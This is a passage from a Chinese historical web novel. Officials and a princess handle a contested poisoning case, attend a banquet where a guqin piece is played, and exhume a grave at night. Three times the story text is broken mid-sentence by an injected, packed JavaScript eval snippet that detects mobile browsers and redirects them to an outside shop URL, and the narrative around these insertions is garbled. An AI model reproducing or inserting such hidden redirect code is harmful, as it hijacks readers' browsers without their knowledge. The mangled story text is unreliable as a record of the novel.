沈明戒还继续说:“据说曹家人找到了当年伺候曹夫人生产的稳婆,将当年难产过程中的一应怪事全都翻了出来,一大早就已经白纸黑字立了诉状递到了长洲县衙里了。苏家人说那稳婆被曹家人收买胡乱栽赃,于是曹家人嚷着要验尸,但曹夫人已经死了几年只剩一堆白骨,衙门里的仵作不敢接,长洲知县田大成便将诉状压了下来,留待勘察。孙先生知道后便想去看看,结果被窦指挥使拦住了。” “他痴迷医理,对仵作验尸那方面也有涉猎,会想要去凑这个热闹是情理之中。只是,他也算是我们带来的人,在外面惹上了官司,事情就不那么容易解决了。多亏窦指挥使思虑周全,没让孙先生陷入泥潭,你一会儿与孙先生讲明利害,替我谢过窦指挥使。明天中午阎阁老他们就要到了,有无必要介入,到时候全要听阁老的意思。” 沈明戒应下,又听沈明枳补充了一句:“不过,我们还得盯着点。” “阿姐还是要管吗?” “苏家原籍长洲县,知县田大成敢把一众世家子扣留,可见苏家与田知县的关系非同一般,而曹家居然将案子告到了长洲县衙——” 沈明戒眼中大亮:“这就是泥牛入海、放虎归山!” 替苏家看家护院的长洲知县田大成被局势逼得要哭出泪来,“这白骨如何能验啊?” 苏州知府李增祥顺着他的八字胡,悠悠开口:“听说当地不是有个很厉害的女仵作吗,姓什么来着?活死人、肉白骨,这名声响当当的,何不去请她?” 田大成更要哭了:“李大人啊,这女仵作就姓苏啊!就是这苏氏本家的庶女!找她来验?曹家人能把我长洲县衙给砸了!” 李增祥叹气,听田大成哭诉:“曹家的状子一递,公主殿下就打发人来问话了,今天中午马上阎阁老他们就要来了,阎阁老是好说话的,可那帮御史小年轻不是善茬!还有那位郇按察使,李大人在长安供职时也听过他的名声吧,活阎王,惯爱搅弄风云的人物!” 李增祥再叹:“我苏州府人才济济,难道就找不出一个能与之比肩的仵作?先验了再说!” 田大成干脆哭着拜到了李增祥的脚下,“大人啊!不可啊!” 什么叫验了再说?如果本来就干干净净验不出自然是好,案子就能结了,但若本有什么线索结果什么也验不出呢?衙里的仵作会验尸,但不会验只剩下一副白骨的尸体啊。如果真的因此草草结案,案子最后是栽在他长洲县的衙门里,有朝一日出了变故要革职查办的是他长洲知县田大成,得罪了乡绅全家遭殃的是他田大成,公主摆了态度但没搞清公主究竟是什么态度最后得罪了公主要掉脑袋的还是他田大成。 四品知府李增祥要受罪,但最受罪的还是他七品知县田大成! 李增祥扯了扯官袍,挪远了点鼻涕直流的田大成,“那你说怎么办?难不成搞一出移花接木?让那仵作验了找旁人替她说?再说了,她验不验得出还是个问题,外头就催着你找仵作验尸,这要拖到什么时候?这是能拖的事吗?等按察使收拾好了漉水案来接你长洲县的案子?苏家早就到京里找门路去了!” 田大成哭得更伤心了。 “你既不能让他们私下解决,硬是闹到了公堂上,那就按公堂的规矩来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13514315|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘛,出了岔子也不是我们当父母官的不尽心啊,是下头人能力不足啊,怨不得我们,日后追究起来,我们有罪,我们的罪就是运气不好……” “李大人,您可要开开恩救救下官吧!” 李增祥火冒三丈:“救你?你让本官怎么救?将案子从你长洲县衙揭到苏州府衙里吗?” 田大成涕泪横流:“大人您替下官出出主意吧,您是在废都长安见过世面的……” “出主意?”李增祥冷笑着打断田大成:“田知县心里早就有主意了吧?不过是需要一个冤大头,给你背锅罢了!” 田大成的哭声一顿,脸色更加凄苦:“大人怎能这样想下官?” 李增祥拈起自己的胡子,并不看田大成的惨状,兀自冷言冷语:“本官是苦尽甘来,今年才调来苏州府的,苏州当地的世家有几姓、族中做什么营生、京中有那些关照,一概不知!田知县在长洲供职几年了?” “四年。” “哦,四年了,还差一年就能回京述职了,三轮五换,这一返京以后是不会回苏州了。那田知县还惦记着苏州府的人情物议作甚?还押着当地的世家风流子作甚?还要替苏家瞒天过海作甚?” 田大成又淌下泪来。 “田知县,你糊涂了!你想着钦差是早晚要走的,按察使也早晚会回的,而苏家是地头蛇不变的,就想卖个人情给苏家?你卖就卖吧,就算想把衙门里的官衔都卖了,只要御史不吭声,本官就当不知道。可你现在既要当婊子又要立牌坊,苏家给你立牌坊,婊子却让我来当!” 田大成磕头:“绝无此意!大人明鉴!” 李增祥冷笑:“有无此意岂是你说了算?” 田大成猛一抬头,震惊地望向李增祥。 李增祥拈胡冷笑着摇头:“苏州是太平地,富贵迷人眼,田知县在这里混得久了,到忘记了自己有几斤几两。本官好歹是长安废都里下来的,也算是天子脚下,一个馅饼砸下来要死一圈的皇亲国戚的地方,弱者沦丧强者为律的地方!你想把事情栽到本官手上?做梦!你自己造的孽自己去见阎王!” “李知府!田知县!” 李增祥被人打断,田大成心惊肉跳地止了哭声,掏了帕子擦擦脸上的眼泪鼻涕,听李增祥语气不善地问:“怎么了!” 来人禀告道:“按察使来了。” 李增祥眉头一舒:“来了,阎王来了。” 按照正常处事流程,他们地方处理不了的案子理应层层上报,转递给江南道按察使总裁。现在朝廷为了漉水爆炸案下派了一位行按察使,本意就是让这位化隆来使总理地方要案难案,田大成自己只是区区知县,请不动这位真神,李增祥肯致信臬司,倒不是仁慈。毕竟,谁不怕连坐?谁不怕牵扯? 田大成又磕了下来:“多谢大人开恩!” “田知县,该说的本官都说了,阎王是本官的请,但见,还是得你自己去见!” 只要冤大头来了就好! 爬起来的爬起来,理衣冠的理衣冠,田大成与李增祥一并拜见风尘仆仆的行江南道按察使。 为了赶在阎野放等来苏之前带沈明枳去那个地方,郇寰回了臬司衙门忙得昼夜颠倒,对苏家的处置业已心中有数,怎么也没想到苏世杰居然还能掀起这样大的风浪,他才让人把结案奏疏递回化隆,苏州就出了这样的波折,一个浪头打下来就把他的既定计划打得七零八落。 这也就罢了。 枉他连夜赶路,到现在还没阖过眼,又担心不长眼的御史小年轻没事找事参他一本“公私颠倒”“办案不专”,换了官袍连沈明枳都没去见,直接跑来府衙解案情。结果呢,田、李二人虚食重禄久了、尸位素餐惯了,一桩案子迫在眉睫,不思如何办事居然相对饮泣、哭诉奈何! 郇寰连口热茶都没喝上,就在府衙后堂见到了双眼红肿与满面愁容的田、李二人,本指望用茶水压一压心中火气的他,将自己的不悦酝酿成了十万分。 18. 第十八章 采莲曲 田大成递去状纸,恭敬道:“那稳婆姓王,当年就是在给曹夫人接生时喝的提神汤药里下的毒,毒药是一种淡黄色粉末,闻着有一股很淡的香气,就是产房外的苏世杰直接给她的,人死后就拿钱封口、举家搬离。不久前王婆被曹家人找到,她说自己这么多年来良心不安,便愿意上堂指证,来为死后积德。苏家则反驳,说王婆被曹家收买胡乱栽赃,落井下石,意图从苏家这里坑一笔钱财,一没有物证,二来苏世杰杀妻杀子没有动机,王婆空口白牙就污人清白,开棺验尸更是大逆不道。但苏家并不强烈反对开棺,只是说开了棺,曹夫人的尸骸就不宜再埋在苏家的祖坟里了。” 郇寰扫过状纸,将状纸折了放在手边的小几上,“若真是苏世杰杀妻杀子,苏家愿意验尸就说明他们有把握让仵作什么也验不出来。” 李增祥避开田大成的目光,作壁上观。田大成焦虑应道:“是啊,这就是最难办的地方了。县衙府衙仵作众多,可没人敢有把握去验一幅白骨,胡乱指了人去验,若真的清白倒是两相无事,若真是仵作无能,那这……这就没完没了了呀!” 郇寰不信杀人能够天衣无缝。 这只是苏家的一场豪赌。 堂内安静了片刻,坐于上首的郇寰出声问道:“坟守好了吗?” 田大成点头如捣蒜:“按察使放心,下官早已派人死死看住,绝对没有人能够接近半步。” 郇寰摩挲着手中茶杯的杯沿,盯着田大成看了瞬息就放下茶杯,“撤了吧,不必守了。” 田大成一愣。 郇寰没有给他发问的机会,“就派几个人盯着别让闲杂人等靠近,本司此次来苏没带亲兵,所以这些事都得烦知县大人用心了。至于仵作,不用着急,本司即刻修书回京,请京师刑部的仵作前来验尸。苦主若催,就这样回。” 田大成不看李增祥,干脆应下:“下官明白了,大人放心,下官一定尽力,绝对不会出任何差池。” 李增祥却看向了如释重负的田大成。 姜老太爷过寿那日,郇寰见过李增祥,不过当时他心中惦记着赝品一事,没说几句话,现在倒有功夫打交道了。他转过脸瞥了二人一眼,便又问:“毒药查过了吗?” 见田大成惶恐,李增祥一味装傻充愣,郇寰心里有了数,对田大成道:“苏家允许验尸的把握就来自毒药,这么重要的东西,还是要仔细查一查的。” 田大成比李增祥设想的要淡定得多,连忙告罪:“是下官有失,望按察使莫怪,下官即刻命人前去调查。” 郇寰扯了下唇角:“那便尽快吧,毁尸灭迹总比顺藤摸瓜来得及时。” “他真让人去化隆请仵作了?”沈明枳正坐在妆台前由冬儿梳头,听夏至捧了水盆进来顺带将上午郇寰在苏州府衙的作为说遍,不由得惊讶。 这桩杀人案遇到的第一个死局就是仵作验尸,郇寰居然想到用“拖”字诀将此局“化解”,沈明枳直觉他使出这样不入流的招数,绝对有后手藏掖;与此同时,他还想从毒药入手,可这条路远比验尸难走得多,沈明枳心觉他大张旗鼓地去查,倒未必真想以此为切口。 “正是。驸马已等在前厅了,官服齐整,是要和阎阁老等一并拜见殿下呢。” 沈明枳应了一声,从镜子里见冬儿给自己绾头发,绾了几次都绾不好,便笑道:“让你姐姐来吧。” 她头发本来很长,怎料在南海道遇险,以发代头断了不少,让本就不够灵巧的冬儿给她绾同心髻只怕是绾到日落西山都绾不成,虽说这种样式最简单不过了。 冬儿吐舌头,接过了夏至的水盆,夏至擦了手,不由笑骂:“你这个丫头,平日里让你练你净偷懒去了!” 冬儿逃之夭夭,没一会儿又跑了进来侍候钗环,笑嘻嘻地赞道:“姐姐的手真巧。” 沈明枳扶鬓看了看,随手指了几只玳瑁华胜,也随冬儿一起夸夏至的手巧,夏至笑道:“这怎么称得上巧,最巧的手还是月珰姐姐的。” 冬儿顺着夏至的话头开始夸起了远在化隆的月珰,一时间居然忘了给沈明枳上妆,又被夏至骂了一顿。沈明枳不由笑道:“你们的手都巧,快,巧手就别闲着了,让阎阁老他们久等了。” 阎野放他们是久等了,但没有一个人敢说兖国公主的不是,好在郇寰愿意换兖国公主驸马的身份与他们一一客套,倒也没有让氛围落地。 不过郇寰心里并没有他表现出来的这么从容。满厅堂立着的官,最低也是从五品的员外郎,只有都察院那个七品监察御史十分扎眼,脊梁笔直,就像是专门守在那里监视他们似的,勾起了在座的每一个曾在金明桥前占班子偷偷打过瞌睡的人的不美好的回忆。 阎野放是个任人揉搓都不生气的和事佬脾气,便在郇寰接不住气氛的时候爽快出手,笑着将身份尴尬的监察御史介含清引入了话题:“郇侯,容我来介绍——” 郇寰暂且搁下与户部员外郎王立镛的客气,转而笑着迎上阎野放拉过来的一个年轻人,“都察院的介御史,自丰大人遇难后,南巡一路的察院事宜就由他接手。” 去年钦差出发前,郇寰就翻过这群人的履历。从简单粗暴的势力划分看,介含清走的是在南巡途中遇刺身亡的右副都御史丰德馨的路子,而丰德馨是左都御史柳曦既的臂膀,这样算来,介含清也可以是柳曦既的人。 他边笑着和介含清换了礼节,边想起,左都御史柳曦既的恩师卜栾枝和阎野放是几十年的旧友,也难怪阎野放这个什么也不沾的老滑头这般照顾这个后生。 阎野放介绍完了人,便追忆起了已故的右副都御史丰德馨,再顺势提起了也因公殉职的刑部郎中谢补之,不着痕迹地夸到了谢补之的上司——他郇海山头上,弄得他怪不好意思的。 谢补之就是谢改之的哥哥,两人同是郇寰的臂膀、刑部的郎中,想当年他们双双中举,也不失为化隆城的一段美谈,而今阴阳两隔,甚为可惜。 吏部员外郎方继昌笑道:“下官还记得,两位谢郎中登科的那一年,榜下捉婿还闹了笑话呢。” 郇寰笑着接过话茬:“这个我知道,他们兄弟两个长得像,抢人的那家派了两拨人以防失手,两拨人将他们兄弟一并抢了回去,有缘分得很。” 方继昌装作若有所思,随后恍然大悟,拱手朝郇寰敬道:“那一年——郇侯莫非就是那一年的新科进士,二甲传胪?” 郇寰笑得谦虚:“方大人的记性是真的好。” 在场的除了阎野放,就连说话硬邦邦的介含清也一并赞起了郇寰,弄得郇寰更“不好意思”了,心中嘀咕起南巡这个班底的厉害,面上笑得开怀,利落地将皮球踢了过去:“不过传胪而已,我闻都察院人才济济,都是一甲出身的高才——” 介含清僵硬地推谢,王立镛总算找到机会说话,逮住了介含清:“郇侯谦虚了,不过都察院确实一流,介御史就是探花出身,丰大人是榜眼,最厉害的还要数总宪——”王立镛转向了一边默默喝茶的阎野放,“那真是少年天才,连中三元,大楚开国以来最年轻的状元郎啊。” 众人纷纷称是。 沈明枳携沈明戒站在廊下听了,心觉他们打官腔聊得很起劲,她再等等进去说不定还能听到些有意思的事情。但事不遂人愿,早在里面等得不耐烦的阴阳卫指挥使窦宇,躲在门边,一眼就看见了沈明枳的裙角,连忙出声:“公主来了。” 长缨卫指挥使江聿洲连忙起身,随窦宇迎了过去,身后方才聊得不亦乐乎的老油条们意犹未尽,厅内顿时寂静,只闻得沈明枳姐弟的脚步声不轻不重地传来。 “拜见兖国公主,拜见端王殿下。” 趁他们都低着头,沈明枳剜了窦宇一眼,然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13514316|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑盈盈地将上了年纪的老头子搀扶起:“诸位不必多礼。” 众人谢过起身。 阎野放和郇寰让了上首,待端王沈明戒在原本阎野放坐过的位子坐下后,郇寰将下首的第一个位子让给了阎野放,却被断然拒绝。 便是不提他身上的从一品襄阳侯爵位,刑部侍郎是三品官,行江南道按察使也是三品添官,而阎野放除了正五品的武英殿大学士再无其他实职。虽然内阁在升平一朝状若无物,都是随圣上夺天下后退野的老臣用来养老的地方,但终究没有哪个不长眼的人敢低看这群阁臣。 沈明枳笑道:“阁老不必与他客气。” 阎野放转身朝沈明枳一拜,最终坐了下来。 “诸位初到苏州,一路劳顿,还当在此休整一二,至于返京的日子——”沈明枳朝阎野放欠身:“由阁老定吧。” 阎野放回了一个虚礼。 “本宫装束让诸位久等,实在过意不去,今晚采莲楼还望诸位赏脸,让本宫亲自告罪。” 众人纷纷辞谢,阎野放笑着看向郇寰:“殿下不必挂怀,耐心等夫人装束完毕,这是每个男儿都该有的美德。” 沈明枳挑眉,看遍了一圈人脸上的赞同,连介含清这样还没娶上媳妇的都心折首肯,只有坐在最边上、官衔大得压死人的窦宇冷着一张死人脸,被边上的江聿洲发现他臭脸不愿意捧热场,连忙敲了敲桌沿,逼得他心中不愿也还是别过脸敷衍地点头应付。 沈明枳抽了抽嘴角。 这个姓窦的真是。 入夜,采莲楼大堂搭起的戏台上唱起了采莲曲,清一色的美娇娘挥着花瓣似的水袖,腰肢款摆,歌声宛转。最让人醉心的莫过于其眉间的莲状花钿,与其染了大红口脂的嘴唇交相辉映,烛影闪动,更添妖冶。 郇寰怎么也没想到,严肃得有时接近刻板的沈明枳会给阎野放他们摆这样花哨的席面。 等他与冬至在过道一角交代完事情回到包厢,就见早上还和上司哭求的田大成与被哭求的李增祥,并着苏州府下辖的其他知县,整齐地朝钦差主使阎野放一一敬酒。王立镛与方继昌也和当地官员打得火热,两个亲军卫指挥使因着职责在身并未出席,只留下都察院那个姓介的小年轻孤零零地坐在角落里,有些心不在焉地看着楼下风景。 他也算这席面的半个主人,也该照顾一二这不善交际的来客。 郇寰招来了守株待兔于门边的貌美女侍,让人给自己端了杯酒,就朝介含清走去。他一步没迈出,就见身旁一串人鱼贯而入,一把通体黑亮的文武七弦琴就落在那干净的琴台之上。 起音无比安详,似有人拿着小捶敲着琴弦,一声、一声,每一声都有片刻的停顿,每一声都有满溢的余音,像是一滴一滴的雨落在了莲叶之上。然后就起风了,雨点没有间歇地打上池塘里连天的莲叶。 这时,本来闹腾成一锅粥的包厢里安静了下来,每个人都翘首盼着抚琴之人手下乾坤。也就在此时,琴声突转,众人以为的狂风暴雨戛然而止,可那股怅然若失的宣泄却仍随着汩汩琴音流转而下,缓缓淌漾在碧波淼淼的池塘里。 该是雨过天晴的时候,莲叶上仍留存着方才的水珠。 天晴了,意思也就没了。郇寰刚一抬步,又听得一声“咕噜”,似是金钗玉钏从美人云鬓之间滑落,沉入了这片荷塘。旋即,一弹指的死寂过后,便是毁天灭地般的撼动:远天破了一道口子,西北千万年赊欠的雨水从中泄落,莲叶直不起身,水面如在鼎中沸腾,更别谈水中游鱼戏虾,被这落雨裹挟头昏眼花。 郇寰立在门边,静静看着抚琴的乐伶十指齐收。 云台翻倒,天地倒悬。 包厢内彻底静了下来。 他越过乐伶高耸的发髻看见了沈明枳。与所有人的陶醉相反,她脸上尽是郇寰从未见过的难堪。 19. 第十九章 薜荔行 阎野放起声鼓掌:“朱明承夜,采莲东风。老夫多少年未曾听过这首《东风采莲曲》了,本以为此曲失传,谁想天光重现,幸甚至哉。” 沈明枳一抬眼看见了郇寰,连忙别开眼神,脸上终于有了一丝血色,“本宫曾闻阎阁老琴艺高超,是父皇都夸的,能得阁老一声称赞,可见不俗,赏吧。” 那名乐伶起身谢礼。 阎野放少见的别有兴致,便多说了几句:“江南竟有人精通此曲,老夫实在诧异。当年在京,曾有一位‘遗思公子’天下无双,为中宫延邀暂驻乐府,闲暇出宫做客名流,谱曲众多,曲曲惊艳,这首《东风采莲曲》就是他的封笔之作。昔人已逝,京中再不闻采莲,再不拂东风。” 乐伶欠身拜道:“老爷说的可是尤擅感《广陵散》、曾又作《薜荔行》的遗思公子朱先生?” 阎野放更觉惊喜:“正是!” “奴家的师父便也姓朱,名讳遗温,正是遗思公子的亲弟弟。” 阎野放从未如此失态地从席上站了起来,“当真!那……那朱先生现在何处?可否代为相邀?” 乐伶面露遗憾:“师父四海飘零,一直在寻找遗思公子失散的手稿,年前就已经孤身入京,想到化隆寻找遗思公子丢失的《心安处》的曲谱。” 阎野放从未如此失望过,他坐了下来怅然道:“遗思公子每谱一曲,必于乐府登录,所谱近百曲,唯有这首《心安处》从未公开演奏,老夫四处追寻多年也不得真迹。昨日途径杭州,老夫曾拜访初服旧友,托他帮忙在江南追寻,如今听来是南辕北辙了,曲谱居然在京……” 郇寰端着酒杯,一边听着阎野放与那乐伶激动叙话,一边在脑中翻捡着陈年旧事,不妨见沈明枳与端王低声几句,起身由夏至扶了从上首走了出来。弹指之间,她迎面就和自己的视线对上。 她的脸色还是极其难看。 郇寰一仰头将杯中酒饮尽,空杯子交给女侍的瞬间,杯子没立稳滚落了托盘,那清脆的一声响将包厢内所有人的注意吸引了过去,郇寰的目光也瞬息落到了闪着金光的酒器之上。 突兀于酒气熏香之中的一脉幽深逼近,郇寰即刻抬眼,见沈明枳已近在眼前,严妆之下疲倦微出,垂下的睫毛上也不知何时沾上了一颗水珠。几乎是下意识地就要抬手,郇寰在沈明枳睫毛扇动抬脸看自己的瞬间控住了僵直的手,将脸上早准备好的要向包厢内众人谢罪的笑容,扯出几分与亲近人交心时的温和体贴来。 沈明枳的视线扫过他绛紫色潋着光的衣领上洇湿的几滴酒渍,又扫向了地上的酒杯,顿住脚步,转身朝众人蹲身一礼,在众人反应过来要纷纷起身还礼前,迈出了门槛。 “身体不舒服?”郇寰不忘向阎野放一礼,即刻追了出来,见沈明枳走到过道尽头,靠在阑干上,借着妆奁样的天窗呼吸了几口楼外的新鲜空气。 “透气而已。” 郇寰握住阑干微一用力晃了下,确定这阑干结实得很方才松手。 “你脸色不大好……” “没事,多谢驸马关心了。” 郇寰毫不掩饰脸上的厌嫌,侧过身给过道里一对相拥的男女让了路,“怎么选了这家。” 沈明枳倒盯着那花娘打扮的女子目不转睛,水红色的纱裙下蛇腰袅娜,引得郇寰转身看过去的时候,沈明枳的正经话都染上了几分不明的意味:“戒子说他家的芡实糕味道很好,就是没到时候。” 郇寰听出了沈明枳话中有话,可他琢磨不透。那总不至于是因为芡实有益肾固精之效,再加上方才路过的一对男女姿态暧昧,故而她以此来嘲讽自己身子不行该补补了? 他心中一哂。 此时,远处包厢内隐隐传来了金石之声,郇寰竖起耳朵听了,是琴弦仿音,铿锵有声,幽幽冥冥,调子也是出乎意料的熟悉,可他叫不出名字。 沈明枳却在听了这琴声后念道:“怨公子兮怅忘归,君思我兮不得闲。这是朱遗思的《薜荔行》。” 郇寰默了默,开口道:“原来叫这个名字。” “这本是大雅之乐,乐府鸿音,不过现在在花楼酒肆里比较流行。” 他和花中浪子申不极往从过密,这又是铁打的事实,被人讽刺上几句稀松平常。但沈明枳不行,这首曲子不行,郇寰要替自己证名:“我十来岁的时候,母亲请了当年最有名的琴师来教我,就是这朱遗思了,母亲最喜欢琴音,尤其是朱先生谱的曲,每首都推崇备至。每回朱先生从宫里出来到了侯府,必要弹一曲《薜荔行》——” 沈明枳微一挑眉。 说起往事,郇寰的声音也有些飘渺:“但那时候我怎么可能喜欢这个?天天在外面打架生事,和申不极‘为害一方’,性子又傲、脾气又差、火气又大。对外人能够不敬不礼,在家里我可不敢对她不孝,但转而就把房里的那把琴当柴火劈了烧了,借口也懒得找。可老爷子的棍子认得我,我也不能对他不孝,于是白天躲在菁明书院,晚上躲在申不极外面置办的小宅子里……” 言及关键之处,郇寰轻笑了一声:“你自幼与申不极的夫人相熟,可别对她说——不对,若有一天他们因为这宅子吵起来,你帮忙劝劝,好歹庇佑过我,我总不能让他们夫妇二人因此误会再生嫌隙。” “晚了。” “嗯?”郇寰愣了一愣。 沈明枳轻笑:“晚了,是芳林门附近那条叫什么羊车巷里的宅子吗?” “是,就是那里,殿下怎么知道?” “我怎么知道?”沈明枳望向别家娼寮花楼上的盏盏灯火,似得见两三年、三四年前化隆城东北角的一场没有烧起来的大火,“辛莘刚嫁不久,新婚燕尔的时候,就偶然发现了这隐蔽的小宅子里居然住着申家二郎金屋藏娇的大美人,气得屋子里里外外砸了个干净,就差一把火连人带屋烧得干净。” 郇寰一怔,说不出话来,只能听沈明枳继续补刀:“估计申二也以为,这屋子沾过活阎罗的煞气,一定能保佑他心尖上的大美人不被家里的‘河东狮’生吞活剥了。” 郇寰终于从震惊之中咂摸出了一丝慌张:“藏娇之事我并不知情,我还住那儿时绝无此事。” 沈明枳又笑了一声:“你猜我是怎么知道的?” 郇寰越听越觉得那缕慌张落到了实处,上称不及锱珠,下了称却能千斤压死人:“申二一直借你的名义藏着那宅子,辛莘起初以为是你,一边与我谈婚论嫁,一边在外面养了小,大发雷霆,半夜三更让临川给宫里递了消息,说了一大堆什么表面一套背面一套、道貌岸然衣冠禽兽之事,让我慎重考虑。结果发现烈火烧的是自家的灶,更气得七窍生烟,于是亲自带人去掘了土、拆了灶。后来听辛莘说,申二怕东窗事发、把你得罪狠了,哭求她要瞒天过海,自己也避祸出京、逃命要紧。” 郇寰如遭雷劈,木在原地,缓了好久才找回了自己的声音:“此事,我确不知情。” 最后三个字,几近于咬牙切齿。沈明枳垂下眼,心中偷笑着期待起往后回京的热闹。 见沈明枳的脸色终于缓和,郇寰也顾不得思忖如何收拾狐假虎威结果玩砸了的申不极,正打算提起今夜的正事,就听《薜荔行》曲到终末,如同一声幽怨的叹息。说起《薜荔行》,沈明枳引了“怨公子兮怅忘归,君思我兮不得闲”一句,他没有回,现在该回了:“我食言了。” 沈明枳远眺天边之月,语气淡淡:“与你无关,阎阁老昨日在杭州,今日就在苏州了,谁也没料到这些。” 郇寰默了片刻才接话:“也罢,以后有的是机会。” 这是谎话。 若无意外、若一切顺利、若赵王御极、若青云直上,回了化隆,郇寰或可能借着公差短时离京,沈明枳这辈子则走不了了。若是来日落败,能寿终正寝就已经是上辈子积德行善。 那架屏风,郇寰看的是出世,他说的“机会”应该就是白发苍苍之日、狐死首丘之时。 可这也与沈明枳无关。 包厢内琴声又起,天上云摇月影。 “是《落英坠露》。” 郇寰侧耳听了,果然不熟,更加不俗,“殿下也欣赏朱先生的曲子?” “‘离骚’者,犹离忧也。” “朝饮木兰之坠露兮,夕餐秋菊之落英。”郇寰念完这琴曲名的由来,喟然叹道:“初服旧友,行迷未远。我闻阎阁老也是杭州人,与柳老先生是年少相交。芳兰生门不得不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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绕过了窦宇,郇寰这才看清了坟坑上的情况,正要叫冬至,就着阴阳卫随身携带的水壶里的水擦过手的冬至就蹿到了他身边,嘴里止不住地叫骂:“这个田大成也真是,亲自安排的人全都被苏家买通了,若不是主子您神机妙算,及时接应,当真要让他们得逞,这几个龟孙也真是有胆……” 郇寰见大意轻敌的冬至的脸上挂了彩,周围阴阳卫嘴巴严,算半个自己人,就没有打断冬至接下来大逆不道的牢骚,只是用脚薅了薅那干瘪的黑麻口袋口,冬至立即住口,蹲身将黑麻口袋小心地打开:“主子您瞧。” 火光一照,黑口袋里装着的白骨头反射出不健康的光,更有一颗人头骨堆在各种骨头之上,空洞的眼眶并着开咧的上颌,牙齿白森森的,似是朝着郇寰这个所谓的酆都阎罗发笑。 郇寰抬头,看向五花大绑的几个男人背后,那深坑里摆着的棺材尚且完整,冬至解释道:“我是等他们把土都挖干净了,才让人抓的,他们连棺材的沿儿都没摸到呢——也省得我们自己挖了,怪废力的。” 郇寰轻嗤一声。这几个五大三粗的汗子挖坟挖得这样累,冬至还能叫他们伤着,真不知道谁争气谁废物了。 “这白骨的来历也够他们喝一壶的了,都带回衙门。” “哪个衙门?” 说顺口了,以为还是在化隆只有刑部一个正经衙门。郇寰想了想,李增祥高高挂起,打算把事情全都栽在田大成头上,田大成胆子也肥,见自己没亲兵就敢铤而走险和苏家人合计,打算来个灯下黑打他个措手不及,那他便送李增祥这个顺水人情,“苏州府衙。” 郇寰走下坡,朝窦宇示礼:“有劳窦指挥使遣人日夜看守。” 窦宇勉强地抱拳回礼:“职责所在。” 郇寰与窦宇并肩走了几步,送他至马前。窦宇上马,朝郇寰颔首示意,也不去管郇寰还留在这荒山野岭的干什么,一扬鞭跑马回城给沈明枳复命去了。 目送他离开,郇寰抖了抖袖子,抖了抖酒气,“等吧。” 20. 第二十章 夜坟头 四更将至,两个仵作将黑麻袋里的骨头架子验过之后,由冬至亲自陪着一位胆小的仵作去林子里解手。 “回来了?”郇寰正负手,盯着阴阳卫清理着棺面,一瞥眼见跟在冬至身后身量不高的仵作包得严实,只有一双亮得出奇的眼睛露在面巾之外,正越过自己朝那钉死的棺材望去。 冬至应声,将人引到郇寰面前,随即退到坑前,指挥阴阳卫开棺。 郇寰垂首,借着宽大的袖子朝这人拱手一礼,“深夜叨扰,麻烦你了。” 仵作不说话,只微微朝郇寰颔首。 戴上面巾,郇寰笼了袖子亲自为之掌灯,命还留在一旁的仵作记录,将一众阴阳卫打发得老远。 这是极其漫长的一个过程,可郇寰等在一边并不累,只觉这般近距离地看此人验尸,是一种特别的享受。他干了多年刑名,也是从最基层一步步爬上来的,虽然比常人快了些,但该走的路一厘未缺。他见过许多仵作验尸,上至京师刑部的职业仵作、下至穷山恶水的乡野屠夫,半吊子赤脚医生也见了不少,年轻的年老的,什么样的都有,可他从未见过一个仵作身上能有这样熟悉的从容。 这是多见于上位者的、胸有成竹的从容。同类相惜,郇寰最偏爱这样的感觉。 夜静无风,只有一个人的声音在灯明火亮的最中央响起。 “来张纸。” 冬至从记录的簿册上撕了一页,恭敬递了过去。就见此人用小刀,在一处已经烂了的骨片上小心刮了几下,在已经用纸筛过色的淡黄光照下,被人用两指折出一道小痕的纸上落下几点苍黑。 利落地收了刀,他将呈了黑灰的纸交予冬至折好,随即抽手离了棺材,隔着衣袖借了郇寰的力,从坑里费力地爬了上去。行至放着器具箱的巨石前,他褪了手套,接过另一名仵作浸过烈酒的帕子仔细擦过手,便蹲下身在箱子里找起东西。 郇寰提了灯走到他近前,见他取了一柄细长的小刀浸入了呈着半瓶透明清酒的粗陶瓶里,还用纤长的手指转着瓶身,让瓶里的液体彻彻底底地将刀刃的每一处都裹上一层流动的晶莹。随后他让冬至打开纸包,用挂着液滴的刀尖蘸了一小片粘连在一起的黑灰。 “要仔细闻。”他小声对郇寰道。 拱守在一边的阴阳卫本就是背对着他们的,郇寰当即让在场的仵作背过身退远了,方才也撩袍蹲到他身边,解下面巾,同他一道细细嗅起刀尖飘过来的一丝怪味。 初时是一缕说不出的香味,郇寰确定自己曾闻过这样的味道,但一时叫不上名字;随后就是逐渐浓重的铁锈味,到最后,这全然变成了冲天的腥气,让本就喝过酒的郇寰差点头晕坐倒下去。 郇寰蹙眉,起身将泛起的一股子恶心压了下去,就见他从容地将刀浸入了陶瓶里,再度润洗干净后,才将瓶里变成淡红色的脏水倒了干净,用抹布擦干刀刃,整理了箱子,做完这些事后,方才再度戴上了面巾。 